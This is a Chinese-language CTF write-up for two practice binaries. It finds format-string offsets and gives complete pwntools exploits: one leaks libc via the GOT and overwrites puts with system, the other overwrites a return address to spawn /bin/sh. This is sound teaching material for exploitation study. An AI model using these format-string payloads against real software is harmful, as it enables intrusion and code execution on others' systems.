题目链接:https://pan.baidu.com/s/1YF4HyEH2lSk6Yrqpp3NZvQ 提取码:mdap
pwn3
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
查保护,就开了NX。
Ida打开程序
int __cdecl __noreturn main(int argc, const char **argv, const char**envp)
{
signed int v3; // eax
char s1; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username(&s1);
ask_password(&s1);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}
Put是输入的,get是读取的,dir是显示的
在get里面发现了格式化字符串的漏洞
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 40);
return printf(&dest);
}
}
return printf(&dest);
}
查字符什么都没发现·但发现最后的dir显示函数是puts(s)
那思路只有是把dir的puts换成system,在输入/bin/sh,则puts(/bin/sh)实际上就是system(/bin/sh)
输入前面现有个密码的判定,很简单,直接就是sysbdmin每个字符减1就可以了
然后找printf的偏移位置
Connected to ftp.hacker.server
220 Serv-U FTP Server v6.4 for WinSock ready...
Name (ftp.hacker.server:Rainism):rxraclhm
welcome!
ftp>put
please enter the name of the file you want to upload:aaaa
then, enter the content:aaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
ftp>get
enter the file name you want to get:aaaa
aaaa,0x9eeb598,0x4,0xf7da7f88,0xfbad2887,0x7d4,0xf7f73200,0x61616161,0x2c70252c,0x252c7025,0x70252c70ftp>
数一下,偏移位置是7。或者是在gdb里面看,断点下在printf
gdb-peda$ stack 20
0000| 0xffffd080 --> 0xffffd09c ("%p,%p,%p,%p")
0004| 0xffffd084 --> 0x804b598 ("%p,%p,%p,%p")
0008| 0xffffd088 --> 0x4
0012| 0xffffd08c --> 0xf7de8f88 --> 0x36a5
0016| 0xffffd090 --> 0xfbad2887
0020| 0xffffd094 --> 0x7d4
0024| 0xffffd098 --> 0xf7fb4200 --> 0x0
0028| 0xffffd09c ("%p,%p,%p,%p")
0032| 0xffffd0a0 ("p,%p,%p")
0036| 0xffffd0a4 --> 0x70252c (',%p')
0040| 0xffffd0a8 --> 0xf7e5104b (<_IO_new_file_underflow+11>: add edi,0x164fb5)
0044| 0xffffd0ac --> 0xf7fb49d4 --> 0x0
0048| 0xffffd0b0 --> 0xf7fb65c0 --> 0xfbad2288
0052| 0xffffd0b4 --> 0x1
0056| 0xffffd0b8 --> 0x804b598 ("%p,%p,%p,%p")
0060| 0xffffd0bc --> 0xf7e501bf (<__GI__IO_file_xsgetn+575>: add esp,0x10)
0064| 0xffffd0c0 --> 0x804b5a3 --> 0x0
0068| 0xffffd0c4 --> 0x804b16b --> 0xa ('\n')
0072| 0xffffd0c8 --> 0x1
0076| 0xffffd0cc --> 0xf7ffd940 --> 0x0
偏移位置就是 (0xffffd09c-0xffffd080)/4=7
接下来可以利用printf泄露出puts的地址,算出libc的版本,然后用libc里面的system来换掉puts。
最后的覆盖可以用fmtstr_payload函数
fmtstr_payload(偏移,{被替换的:替换的})
r.recvuntil("Name (ftp.hacker.server:Rainism):")
r.sendline(password2)
r.recvuntil("ftp>")
r.sendline('put')
r.recvuntil("please enter the name of the file you want to upload:")
r.sendline('aaaa')
r.recvuntil("then, enter the content:")
r.sendline(p32(puts_got)+'%7$s')
r.recvuntil("ftp>")
r.sendline('get')
r.recvuntil("enter the file name you want to get:")
r.sendline('aaaa')
puts_addr=u32(r.recv()[4:8])
这里是拿到了puts的真实地址。如果输入的是p32(puts_got)+’%7$s’则地址为recv的4-8位
如果输入的是‘%8$s’+p32(puts_got),则地址为recv的前4位
完整的exp
from pwn import *
from LibcSearcher import LibcSearcher
r=process('./pwn3')
elf=ELF('./pwn3')
context.terminal = ['terminator','-x','sh','-c']
pwnlib.gdb.attach(r)
puts_got=elf.got['puts']
password1='sysbdmin'
password2=''
for i in password1:
password2+=chr(ord(i)-1)
print(password2)
r.recvuntil("Name (ftp.hacker.server:Rainism):")
r.sendline(password2)
r.recvuntil("ftp>")
r.sendline('put')
r.recvuntil("please enter the name of the file you want to upload:")
r.sendline('aaaa')
r.recvuntil("then, enter the content:")
r.sendline(p32(puts_got)+'%7$s')
r.recvuntil("ftp>")
r.sendline('get')
r.recvuntil("enter the file name you want to get:")
r.sendline('aaaa')
puts_addr=u32(r.recv()[4:8])
libc = LibcSearcher("puts", puts_addr)
base_addr=puts_addr-libc.dump('puts')
system_addr=base_addr+libc.dump('system')
payload=fmtstr_payload(7, {puts_got: system_addr})
r.recvuntil("ftp>")
r.sendline('put')
r.recvuntil("please enter the name of the file you want to upload:")
r.sendline('/bin/sh;')
r.recvuntil("then, enter the content:")
r.sendline(payload)
r.recvuntil("ftp>")
r.sendline('get')
r.recvuntil("enter the file name you want to get:")
r.sendline('/bin/sh;')
r.recvuntil("ftp>")
r.sendline('dir')
r.interactive()
这里输入的/bin/sh;是为了防止后面多出来的aaaa,虽然我也不知道这里的aaaa是哪里来的,如果不加分号就会出错。
0x8048746 <show_dir+95> mov edx, dword ptr [ebp - 0x14]
0x8048749 <show_dir+98> mov eax, dword ptr [ebp - 0x10]
0x804874c <show_dir+101> add eax, edx
0x804874e <show_dir+103> movzx eax, byte ptr [eax]
0x8048751 <show_dir+106> test al, al
► 0x8048753 <show_dir+108> jne show_dir+64 <0x8048727>
0x8048755 <show_dir+110> mov eax, dword ptr [ebp - 0x14]
0x8048758 <show_dir+113> mov eax, dword ptr [eax + 0xf0]
0x804875e <show_dir+119> mov dword ptr [ebp - 0x14], eax
0x8048761 <show_dir+122> cmp dword ptr [ebp - 0x14], 0
0x8048765 <show_dir+126> jne show_dir+55 <0x804871e>
───────────────────────────────────────────────────────────[ STACK]────────────────────────────────────────────────────────────
00:0000│ esp 0xffab3020 —▸ 0xffab3034 ◂— '/bin/sh;aaaa'
01:0004│ 0xffab3024 ◂— 0x400
02:0008│ 0xffab3028 ◂— 0x1
03:000c│ 0xffab302c —▸ 0xf7f363ec (check_match+364) ◂— add esp, 0x10
04:0010│ 0xffab3030 —▸ 0xf7d48fb0 ◂— inc edi /* 'GLIBC_PRIVATE' */
05:0014│ 0xffab3034 ◂— '/bin/sh;aaaa'
06:0018│ 0xffab3038 ◂— '/sh;aaaa'
07:001c│ 0xffab303c ◂— 'aaaa'
─────────────────────────────────────────────────────────[ BACKTRACE]──────────────────────────────────────────────────────────
► f 0 8048753 show_dir+108
f 1 80486d7 main+106
f 2 f7d4de81 __libc_start_main+241
不加分号
0x8048746 <show_dir+95> mov edx, dword ptr [ebp - 0x14]
0x8048749 <show_dir+98> mov eax, dword ptr [ebp - 0x10]
0x804874c <show_dir+101> add eax, edx
0x804874e <show_dir+103> movzx eax, byte ptr [eax]
0x8048751 <show_dir+106> test al, al
► 0x8048753 <show_dir+108> jne show_dir+64 <0x8048727>
0x8048755 <show_dir+110> mov eax, dword ptr [ebp - 0x14]
0x8048758 <show_dir+113> mov eax, dword ptr [eax + 0xf0]
0x804875e <show_dir+119> mov dword ptr [ebp - 0x14], eax
0x8048761 <show_dir+122> cmp dword ptr [ebp - 0x14], 0
0x8048765 <show_dir+126> jne show_dir+55 <0x804871e>
─────────────────────────────────────────────────────────[ STACK]──────────────────────────────────────────────────────────
00:0000│ esp 0xffc13390 —▸ 0xffc133a4 ◂— '/bin/shaaaa'
01:0004│ 0xffc13394 ◂— 0x400
02:0008│ 0xffc13398 ◂— 0x1
03:000c│ 0xffc1339c —▸ 0xf7fd43ec (check_match+364) ◂— add esp, 0x10
04:0010│ 0xffc133a0 —▸ 0xf7de6fb0 ◂— inc edi /* 'GLIBC_PRIVATE' */
05:0014│ 0xffc133a4 ◂— '/bin/shaaaa'
06:0018│ 0xffc133a8 ◂— '/shaaaa'
07:001c│ 0xffc133ac ◂— 0x616161 /* 'aaa' */
[*] Switching to interactive mode
sh: 1: /bin/shaaaa: not found
ftp>$
$ ls
[*] Got EOF while reading in interactive
$ id
[*] Process './pwn3' stopped with exit code 1 (pid 3287)
[*] Got EOF while sending in interactive
pwnme_k0
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
查保护,就开了NX
Iad打开,在sub_400B07函数里面发现了格式化字符串
int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4,__int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!n");
return printf((const char *)&a9 + 4);
}
这个&a9+4是前面输入的密码的位置
先确定下偏移的位置,因为是64位的程序,所以前6个参数都是在寄存器里的,从第7个开始才是在栈上
~/Desktop$ ./pwnme_k0
**********************************************
* *
*Welcome to sangebaimao,Pwnn me and have fun!*
* *
**********************************************
Register Account first!
Input your username(max lenth:20):
aaaaaaaa,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Input your password(max lenth:20):
Register Success!!
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>error options
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>1
Welc0me to sangebaimao!
aaaaaaaa,0x4010c3,0x1a,0x7fcb4901d154,0x7ffc959a4929,(nil),0x7ffc959a4940,0x400d74,0x6161616161616161,0x252c70252c70252c,0x2c70252c
@1.Sh0w Account Infomation!0x4d,0x7ffc959a4940,%M
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
>
数一下,在第八个位置,所以偏移的位置是8。
也可以在gdb上面确定位置,断点下在printf,看栈里面的数
0000| 0x7fffffffdf20 --> 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0(push r15)
0008| 0x7fffffffdf28 --> 0x400d74 (add rsp,0x30)
0016| 0x7fffffffdf30 ("aaaaaaaa,%p,%p,"...)
0024| 0x7fffffffdf38 (",%p,%p,%p,%p,%p"...)
0032| 0x7fffffffdf40 ("p,%p,%p,%p,%p,%"...)
0040| 0x7fffffffdf48 ("%p,%p,%p,%p,%p,"...)
0048| 0x7fffffffdf50 (",%p,%p,%Mr@")
0056| 0x7fffffffdf58 --> 0x400d4d (cmp eax,0x2)
0064| 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0 (push r15)
0072| 0x7fffffffdf68 --> 0x400e98 (add rsp,0x30)
0080| 0x7fffffffdf70 ("aaaaaaaa,%p,%p,"...)
0088| 0x7fffffffdf78 (",%p,%p,%p,%p,%p"...)
0096| 0x7fffffffdf80 ("p,%p,%p,%p,%p,%"...)
0104| 0x7fffffffdf88 ("%p,%p,%p,%p,%p,"...)
0112| 0x7fffffffdf90 (",%p,%p,%c016@")
0120| 0x7fffffffdf98 --> 0x400e63 (jmp 0x400e80)
0128| 0x7fffffffdfa0 --> 0x7fffffffe0f8 --> 0x7fffffffe419
("/home/katrina/D"...)
0136| 0x7fffffffdfa8 --> 0x1756e6547
0144| 0x7fffffffdfb0 ("aaaaaaaa,%p,%p,"...)
0152| 0x7fffffffdfb8 (",%p,%p,%p,%p,%p"...)
我们输入的格式化字符串在第3个位置,则偏移为2,算上前面的6个寄存器,所以偏移为6+2=8。或者用(0x70-0x30)/8=8
再在ida里面查字符串发现了system和/bin/sh,再往下一找,发现在sub_4008A6里面有调用system(‘/bin/sh’)
sub_4008A6 proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset command ; "/bin/sh"
call system
pop rdi
pop rsi
pop rdx
retn
接下来就是希望,能让程序运行到上面这个函数里面。用printf来劫持程序的运行流程。
我们再来观察一下之前那个在printf停留的栈
0000| 0x7fffffffdf20 --> 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0(push r15)
0008| 0x7fffffffdf28 --> 0x400d74 (add rsp,0x30)
0016| 0x7fffffffdf30 ("aaaaaaaa,%p,%p,"...)
0024| 0x7fffffffdf38 (",%p,%p,%p,%p,%p"...)
0032| 0x7fffffffdf40 ("p,%p,%p,%p,%p,%"...)
0040| 0x7fffffffdf48 ("%p,%p,%p,%p,%p,"...)
0048| 0x7fffffffdf50 (",%p,%p,%Mr@")
0056| 0x7fffffffdf58 --> 0x400d4d (cmp eax,0x2)
0064| 0x7fffffffdf60 --> 0x7fffffffe010 --> 0x400eb0 (push r15)
0072| 0x7fffffffdf68 --> 0x400e98 (add rsp,0x30)
0080| 0x7fffffffdf70 ("aaaaaaaa,%p,%p,"...)
0088| 0x7fffffffdf78 (",%p,%p,%p,%p,%p"...)
0096| 0x7fffffffdf80 ("p,%p,%p,%p,%p,%"...)
0104| 0x7fffffffdf88 ("%p,%p,%p,%p,%p,"...)
0112| 0x7fffffffdf90 (",%p,%p,%c016@")
0120| 0x7fffffffdf98 --> 0x400e63 (jmp 0x400e80)
0128| 0x7fffffffdfa0 --> 0x7fffffffe0f8 --> 0x7fffffffe419("/home/katrina/D"...)
0136| 0x7fffffffdfa8 --> 0x1756e6547
0144| 0x7fffffffdfb0 ("aaaaaaaa,%p,%p,"...)
0152| 0x7fffffffdfb8 (",%p,%p,%p,%p,%p"...)
第一个位置是ebp的值,第二个位置是函数的返回地址,我们需要的就是把这个返回地址覆盖成sub_4008A6的地址,使结束了printf之后直接跳到system去执行。
首先需要先拿到这个栈位置的地址,因为现在所看到的地址是动态的,但地址与ebp之间的距离是固定的,算出这个固定值,然后再用printf泄露的地址加上这个固定值就可以了。
0x7fffffffdf60-0x7fffffffdf28=0x38
r.recvuntil('Input your username(max lenth:20): n')
r.sendline('aaaa')
r.recv()
r.sendline('%6$p')
r.recvuntil(">")
r.sendline('1')
r.recvuntil("0x")
stack_addr=int(r.recvline().strip(),16)-0x38
%6$p实际上是泄露第6+1位的地址
最后就是往这个地址上写需要的地址,因为只有最后的三位不一样,所以只要改最后三位就可以了。
r.sendline("%2218d%8$hn")
(这里在改的时候发现如果是改到sub_4008A6函数开头的位置时会发生错误,所以就直接改到了执行system的位置)
2218是8AAH的十进制。
完整的exp
from pwn import *
context.terminal = ['terminator','-x','sh','-c']
r=process('./pwnme_k0')
#pwnlib.gdb.attach(r)
r.recvuntil('Input your username(max lenth:20): n')
r.sendline('aaaa')
r.recv()
r.sendline('%6$p')
r.recvuntil(">")
r.sendline('1')
r.recvuntil("0x")
stack_addr=int(r.recvline().strip(),16)-0x38
r.recvuntil(">")
r.sendline('2')
r.recv()
r.sendline(p64(stack_addr))
r.recv()
r.sendline("%2218d%8$hn")
r.recvuntil(">")
r.sendline('1')
r.interactive()
参考链接:https://www.anquanke.com/post/id/85785
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/#hijack-got